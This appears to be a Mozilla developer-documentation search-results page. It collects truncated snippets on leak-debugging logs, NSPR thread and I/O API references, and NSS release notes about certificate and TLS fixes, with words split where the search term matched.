GC and CC logs
sandboxing by setting moz_disable_content_sandbox=t when you run firefox. from the commandline tldr: if you just want shutdown gc/cc logs to debug leaks that happen in our automated tests, you probably want something along the lines of: moz_disable_content_sandbox=t moz_cc_log_directory=/full/path/to/log/directory/ moz_cc_log_shutdown=1 moz_cc_all_traces=shutdown ./mach ... as noted in the p
revious section, with multiprocess firefox, you can't record logs from the content process, due to sandboxing. you'll need to disable sandboxing by setting moz_disable_content_sandbox=t when you run firefox. on desktop firefox you can override the default location of the log files by setting the moz_cc_log_directory environment variable. by default, they go to a temporary directory which differs per...
Leak-hunting strategies and tips
native object. while this can be debugged in detail, the quickest way to solve these problems is often to simply debug the leaked js roots. these roots are printed on shutdown in debug builds, and the name of the root should give the type of object it is associated with. one of the most common ways one could leak a js root is by leaking an nsxpcwrappedjs object. this is the wrapper object in the
reverse direction -- when a js object is used to implement an xpcom interface and be used transparently by native code. the nsxpcwrappedjs object creates a gc root that exists as long as the wrapper does. the wrapper itself is just a normal reference-counted object, so a leaked nsxpcwrappedjs can be debugged using the normal refcount-balancer tools. if you really need to debug leaks that involve js ...
TraceMalloc
an call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files. tracemallocenable() - turn on tracing. tracemallocopenlogfile(filename) - open a new log file and return its log file descriptor (or -1 on error). tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning the p
revious fd (so you can maintain a number of open files; keep their fds in a js array!). tracemalloccloselogfd(logfd) - close the log file identified by logfd, flushing its buffer of any events first. if logfd identifies the current log file, change the current log file to the default log file given by the --trace-malloc command line argument. tracemalloclogtimestamp(caption) - log a timestamp event...
Phishing: a short definition
most phishing attacks start with unsolicited email messages, a clear starting point is improving spam filters, thus reducing the number of fraudulent messages reaching users. web browser vendors too, are interested in protecting their users from phishing. after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to p
reventing fraud. since version 2.0, firefox has used google’s safebrowsing service, to detect known web forgeries, and display an alert instead of the fraudulent website. two-factor authentication none of the above anti-phishing measures address the basic problem: username/password combinations are often enough to impersonate users. enter the world of second factors. a second factor is something...
Preference reference
es, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected. the emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascript.options.showinconsolethe preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascript.options.stricttechnical
review completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar. the old behavior can be restored by setting the preference mail.tabs.drawintitlebar to false.nglayout.debug.disable xul fastloadthe preference nglayout.debug.disable_xul_fastload controls whether or not xul fastload is used.nglayout.debug.disable_xul_cacheto improve performance, mozilla caches ...
MailNews automated testing
this page and its sub-pages describe (and link to) the available test mechanisms within mailnews, and provide supporting information for developers and testers. functional testing xpcshell-tests and make check these are core test harnesses to which mailnews adds its own tests. these tests are run against almost every changeset that gets committed to the thunderbird and seamonkey code bases. xpcshell-tests are run in javascript without any chrome present. ...
MailNews
g the mailnews component of thunderbird. see mailnews automated testing for a description of the other testing mechanisms. leak and bloat tests this page describes how to perform tests that measure memory leaks and bloat for mailnews and its sub-components. mailnews automated testing automated testing is an increasingly significant and important part of mailnews development. it allows
reviewers to quickly pick up regressions in patches and helps developers to think about different cases. see pages tagged mailnews for additional mailnews-specific information. ...
Optimizing Applications For NSPR
s unrealistic. <tt>pr_interrupt()</tt> is not implemented. win-nt the win-nt port of nspr takes advantage of some of the features of nt that are not available in win-95, such as fibers and asynch i/o. the implementation is well suited for high performance application, such as a server, but clients may find the win-95 version more suited (and adequate) for interactive applications such as are p
revalent on today's workstations. the nt version implements a mxn threading model, using native nt threads as the virtual processors and nt's fiber abstraction as the locally scheduled threads. the fibers are nice because much of the nt api understands them. but they are not really preemptable, and that can lead to problems, depending on the needs of your application. the mode (blocking or nonbloc...
Introduction to NSPR
error indicating that it was interrupted. nspr recognizes only two areas where a thread may be interrupted: waiting on a condition variable and waiting on i/o. in the latter case, interruption does cancel the i/o operation. in neither case does being interrupted imply the demise of the thread. nspr thread synchronization thread synchronization has two aspects: locking and notification. locking p
revents access to some resource, such as a piece of shared data: that is, it enforces mutual exclusion. notification involves passing synchronization information among cooperating threads. in nspr, a mutual exclusion lock (or mutex) of type prlock controls locking, and associated condition variables of type prcondvar communicate changes in state among threads. when a programmer associates a mutex wi...
Linked Lists
he caller must provide for mutually-exclusive access to the list, and for the nodes being added and removed from the list. ...
Long Long (64-bit) Integers
the functions define a portable api that can be used reliably in any environment. where 64-bit integers are desired, use of nspr's implementation is recommended to ensure cross-platform compatibility. most of the 64-bit integer operations are implemented as macros. the specific implementation of each macro depends on whether the compiler for the target platform supports 64-bit integers. for a specific target platform, if 64-bit integers are supported for that platform, define have_long_long at compile time. ...
PRBool
use standard c++ bool instead. otherwise, use prbool for variables and parameter types. use pr_false and pr_true for clarity of target type in assignments and actual arguments. ...
PRCList
a circular linked list. syntax #include <prclist.h> typedef struct prcliststr prclist; typedef struct prcliststr { prclist *next; prclist *p
revious; }; description prclist defines a node in a circular linked list. it can be used as the anchor of a list and can be embedded in data structures that are maintained in a linked list. ...
PRIOMethods
prgetsockoptfn getsockopt; prsetsockoptfn setsockopt; }; typedef struct priomethods priomethods; parameters file_type type of file represented (tos). close close file and destroy descriptor. read read up to the specified number of bytes into buffer. write write specified number of bytes from buffer. available determine number of bytes available for reading. available64 same as p
revious field, except 64-bit. fsync flush all in-memory buffers of file to permanent store. seek position the file pointer to the desired place. seek64 same as p
revious field, except 64-bit. fileinfo get information about an open file. fileinfo64 same as p
revious field, except 64-bit. writev write from a vector of buffers. connect connect to the specified network address. accept accep...
PRIntervalTime
requirements and are very cheap to acquire. the constants pr_interval_min and pr_interval_max define a range in ticks per second. these constants bound both the period and the resolution of a printervaltime object. the reserved constants pr_interval_no_wait and pr_interval_no_timeout have special meaning for nspr. they indicate that the process should wait no time (return immediately) or wait fo
rever (never time out), respectively. important note the counters used for interval times are allowed to overflow. since the sampling of the counter used to define an arbitrary epoch may have any 32-bit value, some care must be taken in the use of interval times. the proper coding style to test the expiration of an interval is as follows: if ((printervaltime)(now - epoch) > interval) <... interv...
PR_AtomicSet
syntax #include <pratom.h> print32 pr_atomicset( print32 *val, print32 newval); parameters the function has the following parameter: val a pointer to the value to be set. newval the new value to assign to the val parameter. returns the function returns the prior value of the referenced variable. description pr_atomicset first reads the value of var, then updates it with the supplied value. the returned value is the value that was readbefore memory was updated. ...
PR_OpenSharedMemory
shared memory segment. size the size of the shared memory segment. flags options for creating the shared memory. mode same as passed to pr_open. returns pointer to opaque structure prsharedmemory, or null if an error occurs. retrieve the reason for the failure by calling pr_geterror and pr_getoserror. description pr_opensharedmemory creates a new shared memory segment or associates a p
reviously created memory segment with the specified name. when parameter create is (pr_shm_excl | pr_shm_create) and the shared memory already exists, the function returns null with the error set to pr_file_exists_error. when parameter create is pr_shm_create and the shared memory already exists, a handle to that memory segment is returned. if the segment does not exist, it is created and a pointer ...
PR_QueueJob
queues a job to a thread pool for execution. syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob( prthreadpool *tpool, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool. fn the function to be executed when the job is executed. arg a pointer to an argument passed to fn. joinable if pr_true, the job is joinable. if pr_false, the job is not joinable. see pr_joinjob. returns pointer to a prjob structure or null on error. ...
PR_QueueJob_Accept
causes a job to be queued when a socket has a pending connection. syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_accept( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool. iod a pointer to a prjobiodesc structure. fn the function to be executed when the job is executed. arg a pointer to an argument passed to fn. joinable if pr_true, the job is joinable. if pr_false, the job is not joinable. see pr_joinjob. returns pointer to a prjob structure or null on error. ...
PR_QueueJob_Read
causes a job to be queued when a socket becomes readable. syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_read( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool. iod a pointer to a prjobiodesc structure. fn the function to be executed when the job is executed. arg a pointer to an argument passed to fn. joinable if pr_true, the job is joinable. if pr_false, the job is not joinable. see pr_joinjob. returns pointer to a prjob structure or null on error. ...
PR_QueueJob_Write
causes a job to be queued when a socket becomes writable. syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_write( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool. iod a pointer to a prjobiodesc structure. fn the function to be executed when the job is executed. arg a pointer to an argument passed to fn. joinable if pr_true, the job is joinable. if pr_false, the job is not joinable. see pr_joinjob. returns pointer to a prjob structure or null on error. ...
PR_STATIC_ASSERT
syntax #include <prlog.h> pr_static_assert ( expression ); parameters the macro has this parameter: expression any valid expression which evaluates at compile-time to true or false. an expression which cannot be evaluated at compile time will cause a compiler error; see pr_assert for a runtime alternative. returns nothing description this macro evaluates the specified expression. when the result is zero (false) program compilation will fail with a compiler error; otherwise compilation completes successfully. the compiler error will include the number of the line for which the compile-time assertion failed. ...
PR_Seek
ffset expressed as a 32-bit integer. deprecated in favor of pr_seek64. syntax #include <prio.h> print32 pr_seek( prfiledesc *fd, print32 offset, prseekwhence whence); parameters the function has the following parameters: fd a pointer to a prfiledesc object. offset a value, in bytes, used with the whence parameter to set the file pointer. a negative value causes seeking in the
reverse direction. whence a value of type prseekwhence that specifies how to interpret the offset parameter in setting the file pointer associated with the fd parameter. the value for the whence parameter can be one of the following: pr_seek_set. sets the file pointer to the value of the offset parameter. pr_seek_cur. sets the file pointer to its current location plus the value of the offset ...
PR_Seek64
ent read-write file pointer by an offset expressed as a 64-bit integer. syntax #include <prio.h> print64 pr_seek64( prfiledesc *fd, print64 offset, prseekwhence whence); parameters the function has the following parameters: fd a pointer to a prfiledesc object. offset a value, in bytes, used with the whence parameter to set the file pointer. a negative value causes seeking in the
reverse direction. whence a value of type prseekwhence that specifies how to interpret the offset parameter in setting the file pointer associated with the fd parameter. the value for the whence parameter can be one of the following: pr_seek_set. sets the file pointer to the value of the offset parameter. pr_seek_cur. sets the file pointer to its current location plus the value of the offset ...
PR_SetErrorText
umed to be a null-terminated c string. otherwise the text is assumed to be the length specified and to possibly include null characters (as might occur in a multilingual string). text the text to associate with the error. description the text is copied into the thread structure and remains there until the next call to pr_seterror. if there is error text already present in the thread, the p
revious value is first deleted. the new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext. nspr makes no use of this function. clients may use it for their own purposes. ...
PR_SetPollableEvent
set a pollable event. syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure p
reviously created via a call to pr_newpollableevent. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. the reason for the failure can be retrieved via pr_geterror. ...
PR_ShutdownThreadPool
notifies all threads in a thread pool to terminate. syntax #include <prtpool.h> nspr_api(prstatus) pr_shutdownthreadpool( prthreadpool *tpool ); parameter the function has the following parameter: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool. returns prstatus ...
PR_UnloadLibrary
returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. use pr_geterror to find the reason for the failure. ...
PR_WaitForPollableEvent
blocks the calling thread until the pollable event is set, and then atomically unsetting the event before returning. syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure p
reviously created via a call to pr_newpollableevent. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. the reason for the failure can be retrieved via pr_geterror. ...
Threads
adprivate associates private thread data with an index. pr_getthreadprivate retrieves data associated with an index. interrupting and yielding pr_interrupt requests an interrupt of another thread. once the target thread has been notified of the request, the request stays with the thread until the notification either has been delivered exactly once or is cleared. pr_clearinterrupt clears a p
revious interrupt request. pr_sleep causes a thread to yield to other threads for a specified number of ticks. setting global thread concurrency pr_setconcurrency sets the number of global threads used by nspr to create local threads. getting a thread's scope pr_getthreadscope gets the scoping of the current thread. ...
NSPR API Reference
allocation macros string operations pl_strlen pl_strcpy pl_strdup pl_strfree floating point number to string conversion pr_strtod pr_dtoa pr_cnvtf long long (64-bit) integers bitmaps formatted printing linked lists linked list types prclist linked list macros pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_p
rev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding sym...
NSS CERTVerify Log
ors to be reported all at * once. */ struct certverifylognodestr { certcertificate *cert; /* what cert had the error */ long error; /* what error was it? */ unsigned int depth; /* how far up the chain are we */ void *arg; /* error specific argument */ struct certverifylognodestr *next; /* next in the list */ struct certverifylognodestr *p
rev; /* next in the list */ }; the list is a doubly linked null terminated list sorted from low to high based on depth into the cert chain. when you are through, you will need to walk the list and free all the cert entries, then free the arena. ...
NSS Certificate Download Specification
data formats nss can accept certificates in several formats. in all cases the certificates are x509 version 1, 2, or 3. binary formats nss's certificate loader will recognize several binary formats. they are: der encoded certificate: this is a single binary der encoded certificate. pkcs#7 certificate chain: this is a single pkcs#7 signeddata object. ...
Cryptography functions
mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getp
revgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and later pk11_getslotfromprivatekey mxr 3.2 and late...
Build instructions for JSS 4.3.x
ss_4_3_1_rtm mozilla/security/jss or cvs co -r jss_4_3_rtm mozilla/security/jss setup environment variables needed for compiling java source. the java_home variable indicates the directory containing your java sdk installation. note, on windows platforms it is best to have java_home set to a directory path that doest not have spaces. unix setenv java_home /usr/local/jdk1.5.0 (or whe
rever your jdk is installed) windows set java_home=c:\programs\jdk1.5.0 (or whe
rever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or whe
rever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows. we recommend ...
JSS FAQ
wants to do before making a final decision. sslclientcertificateselectioncallback is analogous to ssl_getclientauthdatahook. can i have multiple jss instances reading separate db's? no, you can only have one initialized instance of jss for each database. once jss initialized, i can't get anymore instances with certificatefactory.getinstance("x.509")? in version p
revious to jss 3.1, jss removes the default sun provider on startup. upgrade to the latest jss, or, in the cryptomanager.initializationvalues object you pass to cryptomanager.initialize(), set removesunproivider=true. is it possible to sign data in java with jss? what i am trying to do is write a java applet that will access the netscape certificate store, retrieve a x509 certificate and then sign s...
NSS_3.11.10_release_notes.html
certs to nss bug 442912: fix nssckbi version number on 3.11 branch bug 443045: fix pk11_generatekeypair for ecc keys on the 3.11 branch bug 444850: nss misbehaves badly in the presence of a disabled pkcs#11 slot bug 462948: lint warnings for source files that include keythi.h documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and
revised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.11.10 shared libraries without recompiling or relinking. furthermore, applications that r...
NSS_3.12.1_release_notes.html
esn't report the token and slot names for found keys bug 448324: ocsp checker returns incorrect error code on request with invalid signing cert bug 449146: remove dead libsec function declarations bug 453227: installation of pem-encoded certificate without trailing newline fails documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and
revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.1 shared libraries without recompiling or relinking. furthermore, appl...
NSS_3.12.2_release_notes.html
g 458905: memory leaks in pkix bridge certificates. bug 459231: memory leak in cert fetching - aia extension. bug 459248: support intel aes extensions. bug 459359: forwardbuilderstate object is leaked when aia path incorrect bug 459481: nss build problem with gcc 3.4.6 on os/2 documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and
revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.2 shared libraries without recompiling or relinking. furthermore, appl...
NSS 3.12.5 release_notes
odepublickey are duplicate bug 522510: add deprecated comments to key.h and pk11func.h bug 522580: nss uses port_memcmp for comparing secret data. bug 525056: timing attack against ssl3ext.c:ssl3_serverhandlesessionticketxtn() bug 526689: ssl3 & tls renegotiation vulnerability documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and
revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.5 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.5 shared libraries without recompiling or relinking. furthermore, applications that restrict ...
NSS 3.12.9 release notes
addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation. new and
revised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.9 shared libraries without recompiling or relinking. furtherm...
NSS 3.14.2 release notes
nd avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems. note: the new assembly code requires gnu as version 2.19 or newer. on red hat enterprise linux 5.x systems, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path environment variable. initial manual pages for some nss command line tools have been added. they are still under
review, and contributions are welcome. the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target. new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes...
NSS 3.14.3 release notes
ements the nss development team would like to thank nadhem alfardan and kenny patterson (royal holloway, university of london) for responsibly disclosing the issue by providing advance copies of their research. in addition, thanks to adam langley (google) for the development of a mitigation for the issues raised in the paper, along with emilia kasper and bodo möller (google) for assisting in the
review and improvements to the initial patches. bugs fixed in nss 3.14.3 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.14.3;product=nss compatibility nss 3.14.3 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will wor...
NSS 3.14 release notes
xperimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default. the nss license has changed to mpl 2.0. p
revious releases were released under a mpl 1.1/gpl 2.0/lgpl 2.1 tri-license. for more information about mpl 2.0, please see http://www.mozilla.org/mpl/2.0/faq.html. for an additional explantation on gpl/lgpl compatibility, see security/nss/copying in the source code. export and des cipher suites are disabled by default. non-ecc aes and triple des cipher suites are enabled by default. nss 3.14 sour...
NSS 3.15.3.1 release notes
ps://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.3.1. users are encouraged to upgrade immediately. bug 946351 - misissued google certificates from dcssi new in nss 3.15.3.1 new functionality no new major functionality is introduced in this release. this is a patch release to
revoke trust of a subordinate ca certificate that was mis-used to generate a certificate used by a network appliance. bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates from dcssi a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3...
NSS 3.15.4 release notes
-empty-password command-line option to certutil, to be used with -n: use an empty password when creating a new database. added the -w command-line option to pp: don't wrap long output lines. new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_
rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post. new pkcs #11 mechanisms none. notable changes in nss 3.15.4 reordered the cipher suites offered in ssl/tls client hello messages to match modern best practices. updated the set of root ca certificates (version 1.96). improved ssl/tls false st...
NSS 3.16.2.2 release notes
: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_2_rtm/src/ new in nss 3.16.2.2 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression. notable changes in nss 3.16.2.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bugs fixed in nss 3.16.2.2 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.2.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.16.2.2 share...
NSS 3.16.2.3 release notes
tion that enables tls_fallback_scsv. off by default. in sslerr.h ssl_error_inappropriate_fallback_alert - a new ssl error code. in sslproto.h tls_fallback_scsv - a a signaling cipher suite value that indicates a handshake is the result of tls version fallback. notable changes in nss 3.16.2.3 bug 1057161: check that an imported elliptic curve public key is valid. p
reviously nss would only validate the peer's public key before performing ecdh key agreement. now ec public keys are validated at import time. bugs fixed in nss 3.16.2.3 bug 1057161 - nss hangs with 100% cpu on invalid ec key bug 1036735 - add support for draft-ietf-tls-downgrade-scsv to nss compatibility nss 3.16.2.3 shared libraries are backward compatible with all older nss 3.x shared lib...
NSS 3.16.4 release notes
:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 in nss 3.16.3, the 1024-bit "entrust.net secure server certification authority" root ca certificate (sha1 fingerprint: 99:a6:9b:e6:1a:fe:88:6b:4d:2b:82:00:7c:b8:54:fc:31:7e:15:39) was removed. in nss 3.16.4, a 2048-bit intermediate ca certificate has been included, without explicit trust. the intention is to mitigate the effects of the p
revious removal of the 1024-bit entrust.net root certificate, because many public internet sites still use the "usertrust legacy secure server ca" intermediate certificate that is signed by the 1024-bit entrust.net root certificate. the inclusion of the intermediate certificate is a temporary measure to allow those sites to function, by allowing them to find a trust path to another 2048-bit root ca c...
NSS 3.16.6 release notes
wnload: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/ new in nss 3.16.6 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression. notable changes in nss 3.16.6 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bugs fixed in nss 3.16.6 bug 1049435 - importing an rsa private key fails if p < q compatibility nss 3.16.6 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.16.6 shared libr...
NSS 3.16 release notes
nss_cmssignerinfo_verify - verify the signature of a single signerinfo. it just verifies the signature, assuming that the certificate has been verified already. new macros in sslproto.h tls_rsa_with_rc4_128_sha, tls_rsa_with_3des_ede_cbc_sha, etc. - cipher suites that were first defined in ssl 3.0 can now be referred to with their official iana names in tls, with the tls_ prefix. p
reviously, they had to be referred to with their names in ssl 3.0, with the ssl_ prefix. notable changes in nss 3.16 ecc is enabled by default. it is no longer necessary to set the environment variable nss_enable_ecc=1 when building nss. to disable ecc, set the environment variable nss_disable_ecc=1 when building nss. bug 903885: (cve-2014-1492) in a wildcard certificate, the wildcard charac...
NSS 3.17.2 release notes
source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/ new in nss 3.17.2 new functionality no new functionality is introduced in this release. this is a patch release to fix a regression and other bugs. notable changes in nss 3.17.2 bug 1049435: change rsa_privatekeycheck to not require p > q. this fixes a regression introduced in nss 3.16.2 that p
revented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries. bug 1057161: check that an imported elliptic curve public key is valid. p
reviously nss would only validate the peer's public key before performing ecdh key agreement. now ec public keys are validated at import time. bug 1078669: certutil crashes when an argument is passed to the --cert...
NSS 3.18.1 release notes
bits restored to their original state to allow more time to develop a better transition strategy for affected sites. the websites and code signing trust bits were turned off in nss 3.18. but when firefox 38 went into beta, there was a huge spike in the number of certificate verification errors attributed to this change. so, to give website administrators more time to update their web servers, we
reverted the trust bits back to being enabled. ou = equifax secure certificate authority sha1 fingerprint: d2:32:09:ad:23:d3:14:23:21:74:e4:0d:7f:9d:62:13:97:86:63:3a the following ca certificate was removed after discussion about it in the mozilla.dev.security.policy forum. cn = e-guven kok elektronik sertifika hizmet saglayicisi sha1 fingerprint: dd:e...
NSS 3.19.1 release notes
aries will work with nss 3.19.1 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries. note: nss 3.19.1 increases the minimum size of keys it is willing to use. this has been shown to break some applications. nss 3.19.2
reverts the behaviour to the nss 3.19 and earlier limits. feedback bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss). ...
NSS 3.19.2.2 release notes
3.21, or a later release.) distribution information the hg tag is nss_3_19_2_2_rtm. nss 3.19.2.2 requires nspr 4.10.10 or newer. nss 3.19.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_2_rtm/src/ security fixes in nss 3.19.2.2 bug 1158489 / cve-2015-7575 - p
revent md5 downgrade in tls 1.2 signatures. new in nss 3.19.2.2 new functionality no new functionality is introduced in this release. acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489. compatibility nss 3.19.2.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a pr...
NSS 3.19.2 release notes
a security fix for bug 1138554 / cve-2015-4000. applications that requested or attempted to use keys smaller then the minimum size would fail. however, this change in behaviour unintentionally broke existing nss applications that need to generate or use such keys, via apis such as seckey_creatersaprivatekey or seckey_createdhprivatekey. in nss 3.19.2, this change in freebl behaviour has been
reverted. the fix for bug 1138554 has been moved to libssl, and will now only affect the minimum keystrengths used in ssl/tls. note: future versions of nss may increase the minimum keysizes required by the freebl module. consumers of nss are strongly encouraged to migrate to stronger cryptographic strengths as soon as possible. bugs fixed in nss 3.19.2 this bugzilla query returns all the bugs...
NSS 3.20.2 release notes
n the "security fixes" section below. distribution information the hg tag is nss_3_20_2_rtm. nss 3.20.2 requires nspr 4.10.10 or newer. nss 3.20.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_2_rtm/src/ security fixes in nss 3.20.2 bug 1158489 / cve-2015-7575 - p
revent md5 downgrade in tls 1.2 signatures. new in nss 3.20.2 new functionality no new functionality is introduced in this release. acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489. compatibility nss 3.20.2 shared libraries are backward compatible with all older nss 3.x shared libraries. a progra...
NSS 3.23 release notes
en updated to version 3.10.2 (bug 1234698) the list of tls extensions sent in the tls handshake has been reordered to increase compatibility of the extended master secret with servers (bug 1243641) the build time environment variable nss_enable_zlib has been renamed to nss_ssl_enable_zlib (bug 1243872). the build time environment variable nss_disable_chachapoly was added, which can be used to p
revent compilation of the chacha20/poly1305 code. the following ca certificates were removed cn = staat der nederlanden root ca sha-256 fingerprint: d4:1d:82:9e:8c:16:59:82:2a:f9:3f:ce:62:bf:fc:de:26:4f:c8:4e:8b:95:0c:5f:f2:75:d0:52:35:46:95:a3 cn = netlock minositett kozjegyzoi (class qa) tanusitvanykiado sha-256 fingerprint: e6:06:dd:ee:e2:ee:7f:5c:de:f5:d9:05...
NSS 3.25.1 release notes
ozilla.org/security/nss/releases/nss_3_25_1_rtm/src/ new in nss 3.25.1 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25. notable changes in nss 3.25.1 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored. p
reviously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after. bugs fixed in nss 3.25.1 the following bug has been fixed in nss 3.25.1: ignore md5 signature algorithms in certificate requests compatibility nss 3.25.1 shared libraries are backwards compatible with all older nss 3...
NSS 3.26.2 release notes
illa.org/security/nss/releases/nss_3_26_2_rtm/src/ new in nss 3.26.2 new functionality no new functionality is introduced in this release. this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1. notable changes in nss 3.26.2 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored. p
